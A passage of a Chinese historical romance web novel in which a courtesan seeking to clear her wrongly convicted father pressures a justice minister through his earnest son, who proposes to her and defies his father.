“就是寻常龙井,烹茶用的水是牡丹园初晨的露水,煮茶前,我用兰花浸了浸,不使其夺去茶香,又能添一二分花香。” 白恒一露出笑:“你果然是个有巧思的女子,和别的庸脂俗粉不一样。” 铭竹垂眸不语。 “你和她们不一样”是她听过最多的话。 她若非刻意展现出这些“不一样”,又如何能很快当上花魁。 所以赤梨才会讨厌她,说她装。 她就是。 白恒一问:“茶道,是谁教你的?” 铭竹道:“是先妣。” 她母亲擅长弹琴烹茶,父亲则会吟诗作画,父母郎情妾意,伉俪情深,常一同游玩山水之间。 她幼时还常因此生气,觉得父亲总是同她争母亲,不让她和母亲睡,把她赶去小房间。 她一直气到睡着,第二天继续生气,然后父亲再来哄她。 后来有了弟弟,弟弟和她争执每回都输,因怕她而只敢生闷气,若向父母告状,父亲非但不哄,反而板起脸训他,铭竹心里就平衡多了。 当然,那都是小时候的事,后来她与弟弟渐渐长大,读书明理,再未惹过父母生气,姐弟之间亦是感情甚笃。 “你父亲在松清县任职九年,竟都没调迁?” 白恒一的疑惑令铭竹回过神。 “父亲性子执拗,容易得罪人。” 白恒一挑眉,听懂了弦外之音。 他咋舌道:“可惜了,他没自己女儿这颗玲珑心窍。” “父亲纵有玲珑心窍,也不愿摧眉折腰。” “那他就不适合官场,风骨傲骨什么的,就适合当个文人,写写诗,作作画,说不定还能留美名于后世,偏要当个官,争个清名。” 他语气颇不以为然。 铭竹心底微愠,身为人子,她听不得旁人贬低自己父亲,只是眼下也无法出言驳斥,只得转移话题。 “我托人给凌大人送了口信,不知他是否会来见我。” 白恒一果被牵走神思。 “凌敬年近三十才有凌泽这么一个儿子,何况凌泽今年还高中探花,仕途通达,你敢拿他儿子威胁他,就算达到目的,性命也难保。” 他看向她,轻笑了声:“小小女子,胆子还挺大。” 铭竹俯身行礼。 “铭竹只想为父亲翻案后,去岭州接回弟弟,愿做棋子,供大人驱使,求大人指条明路。” “倒也简单,此事后,你暂不要离京,我有一间偏院,你就在那住着,等风波过后,我再派人送你出城。” …… 铭竹躺到床上,双目无神地盯着那道平安符,浑身裹满疲倦。 她十分清楚,从她选择得罪凌敬开始,就已经深陷泥沼。 所以她才不得不寻求另一方自保。 白恒一答应保她,自然不是出于好心,而是她有利用价值。 她身为南浔阁花魁,与太多权贵有过接触,只要她敢泄露秘密,就能成为朝堂权力博弈中,那颗投石问路的小石子。 南浔阁立身根本就是守口如瓶,谁敢打破这个规则,谁就必定是率先出局之人。 多年来,莫名其妙“失踪”的青楼女子不在少数,其中也不乏南浔阁的姑娘,下场都是无人问津。 她必须要利用身份寻求靠山,否则也不必费尽心机成为花魁了。 花魁这个身份足以让她有更多选择,更多价值,不会轻易成为“弃子”。 可周旋在这些权贵之间,步步凶险。 她其实没有把握。 铭竹侧过身来,视线缓缓聚焦,落在平安符上。 良久,她轻声道:“若是女儿做不到,就当提前去找你们尽孝。” 只是可怜了阿弟,要一人孤零零在这世上。 在那瘴疠之地。 - 凌岁津给伤处上过了药,母亲派丫鬟来看过,却还不放心,偏要亲自来。 她挽起儿子裤腿见那大片淤青,直蔓延到小腿,霎时便红了眼眶,又心疼又气恼。 “你父亲也太狠了,不就是偶尔一次夜不归宿吗?我当是什么大事,他自己还去南浔阁呢!只许州官放火,不许百姓点灯,等他回来,我定要同他理论理论。” 看来母亲还不知内情。 凌岁津一番思量,终究没如实相告。 好不容易将母亲哄得离开,他忙叫正听过来。 “正言如何?他家里有请几个好大夫去吗?若钱不够,只管跟我说。” 正听低头抹泪:“命是保住了,只是大约没几月也下不来床。” 凌岁津自责不已。 “都怪我,我不该让他为我带路的,不过正听,我倒有件事还要麻烦你。” 他招他近前,低低耳语几句。 正听一惊,险些叫出来,连忙捂住嘴:“公子,你还要去南浔阁?!” 凌岁津点头,小声道:“我思来想去,此事还是应当给铭竹姑娘一个交代,不能叫她因我受累。” 但他不能光明正大地去,若是让父亲知道了,只怕不是跪祠堂那么简单了。 也不能走正门,否则母亲一定会问他去哪。 所以,他决定翻墙出去。 可他长这么大,从没干过这样出格的事,只有正言正听两个小厮,偶尔会偷偷溜出府去,或是饮酒打牌,或是寻欢作乐。 他母亲一旦知道,就会狠狠训斥他们,罚他们的钱,说他们做事不认真。 他性格好,并不苛责这些。他们偶尔还会给他带些外头的新奇玩意儿回来,让他觉得有趣。 正听如丧考妣:“公子,不行的,这要是让老爷知道了,我肯定跟正言一样挨打……” < p>“我保证,父亲下值归家时,我已先回了,父亲不会发现的。” 正听犹豫片刻,还是疯狂摇头。 “不行不行,真的不行……” 凌岁津板起脸,作出怒容。 “正听,我是你的主子,你不听我话,我也可以打你。” 这话没半点气势,正听反倒笑了。 “那公子你现在就打我一顿吧。” 凌岁津皱眉,气得站起来:“那不劳你大驾,我自己出去。” 见他果断往外走,正听才着急跟上去。 “公子必定要去吗?” “必定。” 正听不由叹了口气,一下将凌岁津衣袖拽住。 “公子跟我来吧,” 他带着凌岁津在府上左转右绕,直到进了间无人的偏院,看起来许久无人打理,树叶凋敝,杂草丛生。 凌岁津好奇环顾,他长这么大,竟还不知府上有这个地方呢。 正听走到院中一棵树下,三两下就爬了上去。 “公子,这院子太偏了,翻过去就是一条无人巷子,出了巷子就是长街,其实离南浔阁也不远,我拉你上来。” 凌岁津跃跃欲试,谁知刚踩到树干上,膝盖就传来一阵剧痛,他一个不慎直接跌到地上,摔得头晕目眩。 正听吓得不轻,慌忙跳下来扶他。 凌岁津咬牙起身,捂住膝盖,额上已渗出冷汗。 “……有没有不用爬树的办法?” 正听欲言又止,最终为难地看向墙下面那个被乱石挡住的狗洞。 …… 铭竹正在梦中,被胡乱的敲门声惊醒。 她来不及梳妆披衣,懒懒过去将门拉开,待看清来人后,已是睡意全无。 门外站着小九,和狼狈不堪的凌岁津。 “铭……” 他刚要开口,就被铭竹一把拽了进来。 她关上门,质问小九:“怎么回事?” 小九道:“铭竹姐姐,我也不知道他怎么上来的,我在四楼碰见他,他说他是来找你的,我就把他带来见你了。” “上来的时候有别人看见吗?” “没有。” 铭竹稍松口气。 小九看了眼凌岁津,好奇问:“铭竹姐姐,他是谁啊?” 铭竹脑子发乱,抬手按在小九头顶上推他出去。 “不要瞎问,别让任何人知道,下回我再告诉你。” 她转过身,面向凌岁津。 眼前这个十七岁的少年,与她初见时判若两人,不但衣袍脏乱破损,头发也是乱糟糟的,头顶还沾了几片草叶,连那张玉白清隽的脸也附着了泥土灰尘。 哪里还像个世家贵公子。 她正欲开口,凌岁津先冲她笑了笑,眸子亮晶晶的,像天上星子。 他说:“铭竹姑娘,我来是想告诉你,你放心,我绝非贪财好色、胆小怯懦之辈,我既对你做了错事,便会负责到底。” “所以,你愿不愿嫁我为妻呢?” “我发誓会一辈子对你好,绝不辜负你,让你受委屈。” 铭竹震惊地望着他,一时说不出话。 这种话她在南浔阁听得耳朵起茧,因而脑中没有半点感动,倒有一个念头先冒了出来。 他是疯了吗?…… 他知不知道他在说什么? 9.此心 铭竹向来会伪装,收敛情绪,但在凌岁津面前,她险些又失态了。 她觉得很荒唐。 铭竹移目,迅速恢复冷静,扬起淡淡笑意。 “凌公子,这样的玩笑开不得。” 凌岁津急声道:“我并未在开玩笑,我想了整整一日,觉得此法最好,既能助你脱籍,又能护你安生。不过,婚姻毕竟是人生大事,我想,总要问过你的意愿才可,所以我便来见你了。” 铭竹不语,仍维持着笑,走向屏风旁顺手取了件外衣,遮去一双雪白臂膀。 凌岁津后知后觉到她形容不整,慌忙背过身去,一时脸又红起来。 “铭竹姑娘,冒昧打搅,是我唐突了,不过此事很急,我担心父亲会来找你施压,故我想先一步向你表明心意,若是你答应,剩下的事我定会努力办成的。” 铭竹探身照了照铜镜,用一根金簪随意挽起发,许是才醒,面色皎皎,双目朦胧,透着几分惺忪慵懒之意,未经修饰,反倒愈加动人。 “凌公子,你是怎么上来的?” “昨日你领我走的路我记的,从后门上来的。” 铭竹不知说什么。 来南浔阁的人非富即贵,都有身份,就算让他们走后门他们也不会走的,这是一种羞辱。 怎么到了凌岁津这里反倒成捷径了。 她扯了下嘴角:“公子记性真好。” 凌岁津道:“过奖,不过我从小便能一目十行,过目不忘。” 铭竹:“……” 她这是夸他吗?怎么听着还挺骄傲。 凌岁津小声问:“铭竹姑娘,你好了吗?我这样一直背对着你说话不太好。” 既失礼,又不真诚。 铭竹应了声,他转过身,耳廓已然通红,但他大概浑然不知,依然面色正经严肃。 “铭竹姑娘,我方才说的……” “凌公子。”铭竹打断他,关心问,“怎弄得如此灰头土脸?” 她走近几步,倾身嗅了嗅,又不禁皱眉。 “你身上有股药味,是受伤了吗?” 凌岁津还来不及答,她便已主动伸出手来扯住他一片衣袖。 “铭竹粗通医术,坐下让我看看吧。” 他被她按坐在梳妆台前,又想说话,被铭竹再次打断。 她手指轻抵在他唇上,美目流转着温柔笑意。 “大夫问诊时,要安静些,我问了你再说,至于其他的话,之后再道也不迟。” 她手指温热,不过一触即离,那份体温却好似仍留在凌岁津唇上似的,他垂下眸,睫翼不受控颤着。 “……嗯……噢……” 铭竹确认了药味来源,蹲下来,小心卷起他裤腿,看清他膝上那片深重的淤青。 她皱了皱眉,指腹轻轻按压上去。 “很疼吗?” 凌岁津本能“嘶”了声,却还摇头。 铭竹又问:“是昨日伤的吗?” 他点头。 铭竹不再问,她搓热手,以掌根握住膝盖打圈搓揉。 “只上药是不行的,当时应该冷敷,过后再热敷,你回家后,让下人烫了热热的毛巾给你敷一敷,之后再涂药。” 她说罢,仰起头,笑问:“好吗?” 当真是灿灿生辉。 凌岁津呆了瞬,脸已红得不能再红了。 “好、好的……” “那我便放心了,我知道这伤与我有关,连累你受罪,我实在心下难安。” 铭竹起身,到一旁湿了帕子过来,又回到他面前站定。 她看了眼他,才微微俯身,轻柔擦拭他脸上泥土。 “自己一个人来,又这般偷偷摸摸的,想是不容易吧。” “既受了伤,便该好生静养,何苦跑这一趟,白白疼一回。”她又一一摘去他发间的草叶,自嘲道,“只为了宽慰我,又何必呢?” 她此话一出,凌岁津才记起自己来的目的,噌一下站起来。 “铭竹姑娘,我不是为了宽慰你,我是来同你说真心话的,凌泽从小读圣人书,遵圣人言,就算做不成君子,也决不做那谗滑小人,今日同你所说,句句为真,若有诓骗半个字,甘愿五雷轰顶,挫骨扬灰。” 他说得这样郑重,反叫铭竹怔然。 又听他满眼希冀地问:“铭竹姑娘,你信我吗?” 铭竹回过神笑:“权知轻重,度知长短,物皆然,心为甚。铭竹既已沦落风尘,还能轻易信谁?” 凌岁津眼更亮了:“你也读孟子?” “怎么?我这样的人,就不配读圣贤书了?” “不不不……我绝无此意。”凌岁津立身朝她行礼,“铭竹姑娘,是我失言。” 他向她道歉,认真解释自己从未来过南浔阁,疏于了解,故而先入为主了。 “人外有人,山外有山,可见世上才情并不限于文人墨客之中,是我无知狭隘了。” 铭竹压住心底莫名的烦躁,不知为何,她自问见过无数世家子弟,君子也好,纨绔也好,甚至小人,早已游刃有余。 如今在凌岁津面前,她竟有种有力无处使的错觉。 无论她说什么,他都坦荡荡的回应,没有半点虚与委蛇。 他似乎是个一眼就能看透的人,但铭竹反倒怀疑人心不可能这般纯粹。 她侧过身,微不可察地调整情绪,恢复原先的温和浅笑。 “凌公子,这不怪你,青楼中的确不乏才女,但更多也的确是不通文墨之人,毕竟我们无须考取功名。至于铭竹,也不过是幼时随父亲多读了几本书,还记得几句罢了,实在让你见笑。” 她故意提起父亲,果然让凌岁津问起她身世家人。 她便顺势伤感,默默垂泪。 将身世来历一一道出,最后轻轻叹了口气。 “昨日凌大人的确来找过我,他问我想要什么,我说想为父亲翻案,可惜……此事维艰,让凌大人为难了。” 原来铭竹竟是县官之女,而且还是一桩冤案,致家破人亡才沦落此地。 凌岁津已听得震惊不已,哪还顾得上羞赧,当即一身正气地说道: “铭竹姑娘,若是朝廷失察,那此事合该属于我父亲职责范畴,他上任刑部尚书之位,本就在清查当年旧案,即便我不对你有所亏欠,你之所求也合情合理。使一个为国为民的好官被无端牵连,冤死狱中,是朝廷一大错,有错就改,才不至天下官民寒心。” 他朝铭竹颔首,口吻坚定。 “铭竹姑娘,但请你放心,我会向父亲陈明此事,让他早日查清旧案。” 他一瘸一拐走到门口,铭竹愣了下才想起来拉住他。 “你,你等一下。” 凌岁津站住,等她说话。 铭竹脑子嗡嗡,她向他说这些事不是为了要他做什么,他虽高中探花,眼下也不过供职翰林院而已,算不得真正入仕。 她只是为了给凌敬增添一点麻烦,让她用凌岁津前途名声作为要挟的手段更顺利些而已。 怎么……怎么就让他管起来了…… 凌岁津虽然是凌敬的儿子,但以她对凌敬的了解,他并不会被旁人三言两语动摇,哪怕是他的儿子。 “凌公子,我已求过凌大人,他并不同意……” “无妨,我可向刑部上书,也可向御史台通禀,这无关其他,即便只是身为大俞百姓,若能为朝廷命官力争清白,我也义不容辞。” 铭竹呆呆望着他,试图在他眼里寻到一二分虚伪。 但没有。 唯有一片澄明赤忱。 凌岁津,他尚未正式走入官场,还不知世间正义公道要多么艰难才能争取来,或许,死了无数人,流了无数血,也依然换不来一个本应存在的结果。 他太干净了。 太天真了。 太……愚蠢了。 铭竹早已不是孩子,她不信这套。 她不信凌岁津区区一个少年能为她做到何种地步。 抛开种种,单论身份,他们是云泥之别。 他还说娶她,更是可笑。 婚姻大事,父母之命,他自己如何能做得了主。 铭竹从不自贬,但情理上,那桩晋王府的婚事,才是与他最门当户对的。 那个同样天真单纯,被家人保护的很好的小郡主,才是与他最适配的。 他只是误入陷阱,是被她算计的鹤,而铭竹是淤泥里向上开的花,本就不该有什么交集。 铭竹蓦然轻笑了声,眸色沉静。

她抬眼注视着他,不知是嘲讽,还是自嘲。 “不行的。” 凌岁津亦回望她,他眼前的铭竹仿佛与之前变得不同,他捕捉到了一缕叫他看不懂的情绪,只是一闪而逝,又无影无踪。 他不明白她说的不行,是后者还是前者,后者他自会争取到底,而前者正是他来的目的。 他依旧没有得到铭竹的答案。 临走前,他从腰间解下一个玉佩给她。 “铭竹姑娘,此佩本是一对的,我先前丢了一个,这个就留在你这里,若你愿意嫁我,就让人将此物送还,我便明白你心意,若你不愿,也可给我写信,我亦会鼎力相助。” 铭竹握住那块玉佩,略有些恍惚。 前天夜里,她正是藏起了他另一块,用来利用他的。 而他竟这般,大大方方地将另一块也给了她。 他就一点不担心她会做个坏人吗? 凌岁津见她接了才放心,笑了笑,转身去开门。 “凌公子。”铭竹突然喊。 “嗯?”他回头。 铭竹问:“是妾,还是妻?” 凌岁津道:“是明媒正娶,三书六礼的妻,我此生绝不纳妾。” …… 直到亥时凌敬才回到府上。 月色溶溶,透窗而入。 书房点了一盏小灯,却争不过月色。 书案后,他的儿子正捧书在读,烛光月色下,姿态挺拔,如松如玉。 他看得入神,并未注意到他的脚步。 凌敬咳了声,才走进去。 “怎么还不去睡,在这儿等我?” 凌岁津搁下书,先行过礼,唤了声父亲。 他绕过书案,立在一侧。 “儿读书有不解之处,向父亲请教。” “说来听听。” “《论语》言‘刑罚不中,则民无所措手足’,《尚书》言‘罪疑惟轻,功疑惟重,与其杀不辜,宁失不经’。” 凌敬在案后坐下,神态从容。 “怎么?你想进我刑部任职了?” 他扫了眼方才凌岁津搁下的书,手指在封面敲了敲。 “这是《论语》还是《尚书》?” “父亲,我……” 凌敬打断他,依旧面不改色。 “是不是还有一句‘刑罚不能加无罪,邪枉不能胜正人’?” 他直直盯着自己儿子,那双眼锐利,仿佛刺穿了他。 凌岁津一向畏惧父亲严厉,心跳加快,但并未退让,直言道:“父亲身为刑部尚书,掌司法公正,何以明知冤案而不去查清?” “凌泽,你是在质问我吗?”凌敬眯起眼,身体往后靠了靠,“你又去了南浔阁,见了铭竹,她同你说了所求之事?” 果然什么事情都瞒不过父亲。 凌岁津索性承认了。 “是,父亲若罚我,我愿受罚,但此事,我想向父亲求一个理由。” “理由?”凌敬呵斥,“要什么理由?盖棺定论的案子有什么好查的?她喊冤我就得查,那天底下喊冤的人不计其数,我都要一一重查吗?她一个青楼女子,满嘴谎言是惯用伎俩,你轻易信人,则是愚蠢。” “父亲,此事是我有错在先,她……” “啪”地一声,凌敬将一张信纸拍在桌上。 “自己看这是什么。” 凌岁津低头看去,露出惊讶,那张纸上竟是画了一个玉佩,还是他不慎遗失的那块玉佩。 凌敬愠声:“这是她让人送给我看的,就算你有错在先,她也并不无辜,她藏了你的随身之物,想用你来威胁我。” 他眼底冰冷一片,折射出危险的光。 若按凌岁津与铭竹当日所说,她先醉了,翌日又后醒,如何能有时机清醒藏起岁津的玉佩?若是不慎遗失在她房中,又为何当日见他没有直接拿出来,而是在他拒绝她要求后,又派人递信与他,以此相要挟? 这个女子心机颇深,实在不简单。 若非没有证据,他完全有理由怀疑,一切本就是她刻意算计。 凌岁津怔了怔,仔细看了那信上画的玉佩好一会儿。 而后,他抬起头道:“父亲,这是我送她的,不是她藏的。” 10.光明 凌敬眼珠转了一轮,才难以置信地在儿子身上定住。 “你送她的?你醉得昏了头吗?你怎么想的!” 凌岁津道:“我与父亲说过,此事错在我,我想护铭竹姑娘安稳,所以想娶她,怕她不信,就将随身一对玉佩给了她作为信物,若我不认,她但凭此物可去三法司告我。” 凌敬气得浑身燥热,在书房叉腰走了一圈,怒极反笑。 “凌泽啊凌泽,你,你——” 他简直无话可说。 他如今有些后悔,后悔这些年将儿子护得太好,没让他见过一点诡计污浊,养成了他这副天真纯净的性子。 凌岁津低头,将铭竹那张画了他玉佩的信纸折起来,默默收入袖中:“儿从小读圣贤书,也听父亲教导,那些书中的道理难道都是错的吗?” 凌敬脚步顿住,仰头长呼一口气。 “……爹教你读圣贤书,不是让你……做个圣人。” 他转过头,看向凌岁津。 月光悄移,烛光稍歇。 少年的影子淡了些,却依旧挺拔清正。 凌敬眼底怒气散去些许。 “你初入翰林,不知官场远非你想象,父亲刑名十三年,才坐上尚书之位,表面风光,背里不知遭多少人嫉恨,你是我的儿子,可知又有多少人会拿你做文章来对付我?” “但也正因你是我儿子,别说你品行高洁,哪怕真是那等寻花问柳之辈,父亲也保你无虞,南浔阁花魁又如何,到底也不过是个妓女罢了,父亲有的是手段让她开不了口。” 他顿了顿,道:“只要你听话,当作自己从未去过南浔阁。” 夜渐深,早春仍凉意浸骨。 凌岁津站在那儿,有些发冷。 父亲供职刑部多年,掌司法公正,定案无数,在他心中形象向来光明伟岸。 他从小读书明理,亦受父亲启蒙。 父亲严厉,教他无数做人道理。 他怕他,却更敬畏他。 何曾想,他今晚却对他说出这样一番话。 明知有冤情而不愿核查,岂非草率塞责,执法不公? 明知是他的错,却要施压弱小,岂非仗势欺人,肆权作恶? 铭竹父亲冤死,母亲病故,幼弟流放,她自己也沦落风尘,如今更是被他欺辱清白。 她小小一介弱女子,肩上压着千钧重担,这世道的不公好似叫她一人承受了似的。 父亲非但不帮,还要将她彻底压垮。 她又何错之有,何其无辜。 在父亲给他看那封信前,他的确不知铭竹藏了他的玉佩,但他知晓后,也并不生气。 她只是顺势而为,又不是无端构陷他。 一个千方百计活下来,只想为父亲争个清白的女子,分明值得敬佩才是。 天理昭昭,若天下司法皆如此偏颇,百姓要往何处去求公道? 父亲想要他成为怎样的人?做怎样的官? 同流合污,便是父亲口中的世故吗? 凌岁津不知。 至少他不愿信父亲曾做过这样的事,而将来的事还未发生,至少至少,他还可以努力救下铭竹姑娘不是吗? 身为人子,他不欲与父亲作对。 但为天理正义,他愿守君子之心。 “父亲。”他定声,“明日我会正式向刑部上书,请求重查旧案,一次不行就两次,三次。若铭竹姑娘去衙门告我,我即刻认罪认罚,再不为官。” 凌敬脸色沉到发黑。 他望着自己向来乖巧听话的儿子,竟有些陌生。 凌岁津从小到大都让他省心至极,这还是第一次公然违抗他。 “就为了一个青楼女子?一个七品小官?” “与身份地位无关,那是一条人命,一个公正,即便我与铭竹姑娘毫无瓜葛,我也不会坐视不理。” 凌敬冷冷看着他,没有说话。 书房陷入沉寂,空气却仿佛收紧,压抑得人难以呼吸。 凌岁津气息急促,在父亲威压下心如擂鼓,却依旧挺直脊背,目光倔强。 父子二人沉默对峙着。 良久,灯花“哔啵”一声,如投石入井,激起涟漪。 凌敬转身,回到书案之后坐下,疲倦地像是被抽走了一半力气。 他不再看凌岁津,只沉声说了句。 “这是我刑部的事,你不用上书了。” 凌岁津紧绷的神经松了松,后背已洇湿一片。 他默默看向父亲,眼眶竟有些泛红。 “……请父亲早些休息。” 他走到门口时,凌敬又忽然出声,语气冷冽。 “若真有冤屈,翻案可以,但你想娶她这事,断无可能。” 凌岁津扶住门框,顿了片刻。 “父亲,铭竹姑娘本就没答应我,是我一厢情愿而已。” 凌敬抬起头,儿子已走了。 他气得太阳穴作痛,随手将一个笔洗丢出去,砸碎在地上。 从小没打过他,真当他是慈父不成? 敢拿婚事当儿戏,就关起来打断双腿! - 铭竹临窗而坐,手中拿着两枚玉佩。 她对着窗轻轻举起来,玉佩在她手中严丝合缝,成一个完满而漂亮的圆形。 阳光爬上窗框,渗入指缝,将她纤细白皙的手指与手中羊脂白玉一同照得透亮。 一半是梅,一半是竹。 合起来,倒像个字。 铭竹看了半天,才认出这是个篆体的“凌”字。 雕工如此精湛,想必出自大师之手。 似这般特征明显的随身之物,若铭竹拿去当作证物状告他,他想抵赖都难。 铭竹叹了口气。 目光落在面前那张古琴上,眼底有淡淡茫然。 昨日凌岁津走后不久,凌敬果真拿着那封信来找她了。 她依照之前计划,用凌岁津的名声仕途加以威胁,要求凌敬答应为自己父亲翻案。 凌敬这次没有答应也没有拒绝,但脸色难看得可怕。 在她用刻薄的言语提起凌岁津时,她竟在凌敬眼中窥到了一丝一闪而过的杀意。 她当时心跳漏了一拍,浑身都几乎僵住。 这是人的本能反应。 如今话已出口,覆水难收。 在达成目的之前,她再不敢走出南浔阁。 她知道重查旧案费时费力,何况松清县太过偏远,距京两千里之遥。 所以她说会等一个月,一个月足以使此事有一个开端。 若是她听不到任何消息,她会拿着那块玉佩走进大理寺。 凌敬当时坐在那儿,只说了一句。 “你在找死。” 铭竹迎着他寒冽目光,不退一步:“父母皆已亡故,身为人子不能尽孝,只能为他们全力争一口气,成与不成,铭竹绝不畏死。” 凌敬什么也没说就走了。 他走后,铭竹才大汗淋漓地瘫在地上。 她是怕的。 一个好端端的人,怎么会不怕死呢。 她若死了,弟弟又怎么活。 但事已至此,她无法回头了。 她早料到有今日局面。 凌敬即便愿意替她父亲翻案,她只怕 也难活着走出京城,遑论走到岭州。 她只能答应白恒一,成为另一颗身不由己的棋子。 她清楚,所谓入他偏院,受他庇护,实则不过是当他禁脔而已。 她原想,此身污浊,她还有一颗洁净的心。 可当她看向手中这对玉佩,又不敢这样说了。 她的心,真的还能算洁净吗? 凌敬乃司法堂官,查案本就是他职责所系,就算被她算计她也毫不愧疚。 可凌岁津呢?凌岁津完全是无辜的。 铭竹低低叹息一声,握紧了这块玉。 是她对不起他,亏欠于他。 她想起凌岁津昨日对她说的那些话,愈发怅惘。 那时他还不知他那块遗失的玉佩其实为她私藏。 而凌敬回去后,必会将此事告知他,他知道她所作所为后还会认为她无辜吗? 他说要娶她那番话,他定然后悔极了吧。 铭竹垂眸片刻,起身将玉佩收好,藏入匣中。 脱籍从良? 那不过她用来博取同情的话术罢了。 自走入南浔阁的那日起,她就已断了这个念头。 正如阁中姑娘每次房事前须靠凉药避孕,她却不需要。 她早舍弃了一切。 包括为人母的可能。 …… 正听仔细给凌岁津膝处上了药。 “铭竹姑娘竟然是个神医啊,这热敷几次再上药,果真好得快,眼看着淤血散了大半了。” 又问:“公子,你还疼不疼?” 凌岁津放下裤脚:“不疼,明日起就不用擦药了。” 这两日父亲替他在翰林院告了假,要他自省,其实是养伤,明日他还要上晋王府,为上次失信之事赔罪。 正说着,一个小小的脑袋从窗下探出来,脆生生喊:“二哥。” 凌岁津眸子倏亮,笑着招手:“西西,快进来。” 一个梳着双髻的十岁出头的少女蹦蹦跳跳进了屋。 正听忙唤了声“三小姐”。 凌敬有一位正妻,两位妾室,凌茜正是姨娘谢氏所生,今年十二岁。 谢氏身体不好,独居偏院养病,凌茜得郭夫人允准,可陪在生母左右,因而也不常到内院来。 她从小便与二哥关系要好,倒是常往凌岁津这里跑。 凌茜着一身鹅黄色衣裙,特意在他面前转了一圈,裙摆翻飞。 她笑吟吟问:“二哥,我姨娘给我做的新衣裳,好不好看?” “好看,特别好看,姨娘手巧。” 凌岁津笑了笑,让正听去厨房拿蜜饯糖糕给她吃。 又问起姨娘身体。 凌茜爬到凌岁津身旁的榻上坐下:“姨娘还是那样,没有好也没有不好。” 凌岁津想了想,问:“父亲去过琴阑院吗?” 凌茜摇了摇头。 凌岁津便道:“那过两日我去看看姨娘,正好还有些问题请教呢。” 凌茜有些好奇:“二哥,你这么学问渊博的人,还有不懂的事吗?” 凌岁津笑着揉了揉妹妹脑袋。 “自然有的,二哥只是读了点书,不懂的事多着呢。” “那你要问我姨娘什么呢?弹琴还是做衣裳?” 凌岁津摇头:“姨娘入府前曾嫁过人,我想问问,若要成婚,需准备些什么。” 凌茜瞪大了眼:“二哥,你要成婚了吗?” 还不待凌岁津说话,她便又道:“喔我知晓了,二哥要娶那位身份尊贵的王府郡主。” 凌岁津诧异:“你听谁说的?我怎不知。” 11.我敢 凌茜说:“家里人都知道啊,父亲知道,夫人知道,我姨娘也知道。” 都知道? 凌岁津惊讶,问正听知不知道。 正听端着食盒讪笑:“隐约……有听说啦。” 凌岁津皱眉:“我的婚事我却不知?可见也做不得真。” 凌茜揭开食盒,从榻上的小桌上拿糕点吃。 “二哥,你不喜欢那位郡主吗?” “二哥从未见过她,谈何喜不喜欢。” “可是二哥,我听说郡主金尊玉贵,貌若天仙。” 凌茜咬了口糕点,笑道,“我二哥这样好的人,满京男儿都比不上,配公主郡主正正好呀,咱们家以后也是皇亲国戚了。” 凌岁津道:“你小小年纪,哪里听来这些浑话,还学给我听。” “夫人姨娘们都在说啊,我看大家都高兴着呢,我也高兴,若是能有一位郡主嫂嫂,那我出去好有面子啊,文佳、乐杉她们指定羡慕我呢。” 妹妹提及的皆是同她交好的世家贵女,偶尔会来家中做客,或是邀她出行,凌岁津与她们打过照面。 凌茜又捡了块酥饼吃:“二哥,你打马游街那日好威风,状元榜眼虽在你前头,长得却比你差远了,我同大姐站在楼上,悄悄听见许多小姐向大姐问你呢,还给你抛花。我就知道,我二哥是最好的,谁见了都喜欢,二哥若是未配婚事,再晚几年,我的朋友都想做我嫂嫂啦……唉哟!” 凌茜额头吃了一记栗子。 凌岁津从容收手,一副夫子作派。 “再胡说还要挨打。” 凌茜不服气:“本来就是嘛。” 她在这儿玩了会儿,直到凌岁津说要去书房处理公务以及看书,叫她去陪母亲一会儿,她才准备离开。 临走前想起来问:“二哥,你是明天来琴阑院吗?” 凌岁津道:“我明天有事去晋王府,后日散了值再去看姨娘。” 晋王府? 凌茜扒着门框回身:“二哥,你是不是去看郡主的?果然是我未来嫂嫂吧。” 凌岁津眉头一蹙,正要说她,她便笑着逃开了。 他问正听到底怎么回事。 正听其实也不太清楚,就说不过是偶尔听人提了几句。 “听谁提的?家里的还是外头的?” 正听仔细想:“好像……都有吧。上回我和正言在南浔阁合点了一壶茶,坐了半个时辰,也听到有人议论。不过公子,老爷夫人既没跟你说,想必是捕风捉影而已。” 更何况,就算是真的,岂不是好事吗? 能攀上晋王府,那是天大的福气。 凌岁津心里却不这么想,他才与铭竹许了承诺,怎能失信于她,虽说大概只是讹传,可正听既在南浔阁中听人议论,铭竹就未必听不到。 怪不得她当日不信他,定是误会他是那等轻浮之辈了。 他思来想去,快步去到书房写信一封,嘱咐正听交予铭竹。 正听面露难色:“那南浔阁可轻易进不得,一壶茶最差也得二两银子,抵我半月月钱了。” 凌岁津取了钱袋来:“这里有十两……” 话未说完,正听一个谢恩打断,抢了钱袋和信就欢天喜地地走远了。 凌岁津笑着摇了摇头,静下心来看书。 才翻开一本常读的,就见到中间夹着的一张信纸。 他微怔,随后小心展开。 是铭竹给父亲的,那张画了他玉佩的信。 笔触细腻,起形精准,可见主人技法高超。 凌岁津瞧了会儿,竟来了兴致。 于是寻来张大小一样的纸,在桌上铺陈开,照着临摹起来。 那是他的玉佩,他很熟悉,故而临摹得快,不久便在纸上画了个一样的,与铭竹的对照着看,却又觉生硬,于是揉去重画。 提笔思量之际,他灵光一现,画了这玉佩的另一半。 不过那一半如今也在铭竹手中了。 这次倒还满意,待墨干,他与铭竹那张折好放在一起,压入了本古书之中,置于架上。 此插曲毕,他才重新静下心读起书来。 日影轻移,直至母亲身边的丫鬟黄鹂在门外唤了他一声,他才发觉天色已暮。 独坐下午,四肢僵硬。 凌岁津站起舒展了下身体。 黄鹂进来笑道:“夫人让公子过去一道用膳。” 凌岁津忙答:“好,我这就去。” 他将书合上,才想起正听一去许久,竟然还未回来,不禁有些担忧。 路上黄鹂问起他膝上的伤,他摇头说无碍。 黄鹂道:“那就好,夫人方才还同我说,生怕公子腿疼得出不了门,又耽误明日去晋王府。” 眼见着踏过石桥,穿过长廊,进了玉林院,凌茜头一个迎了出来,高兴喊“二哥”。 凌岁津才应一声,便见凌敬也在屋内坐着,忙上前向父母见了礼。 凌敬淡淡“嗯”了声,看不出什么情绪。 母亲则笑着招呼他坐下,满脸喜气。 丫鬟仆妇上来布菜,只是几道家常菜,倒也简单,不过父母膳食都是大厨房准备,比他们各自院里的小厨房要讲究不少。 他与凌茜常来与父母一道用膳,大姐凌华未出阁时,亦是如此。 凌岁津敏锐察觉父母今日是有话要同他说,但食不言寝不语是一贯规矩,他未主动询问,直到吃完,仆妇开始收拾时,凌敬才不紧不慢地端了杯茶漱口。 “你母亲有事同你说。” 凌岁津看向母亲。 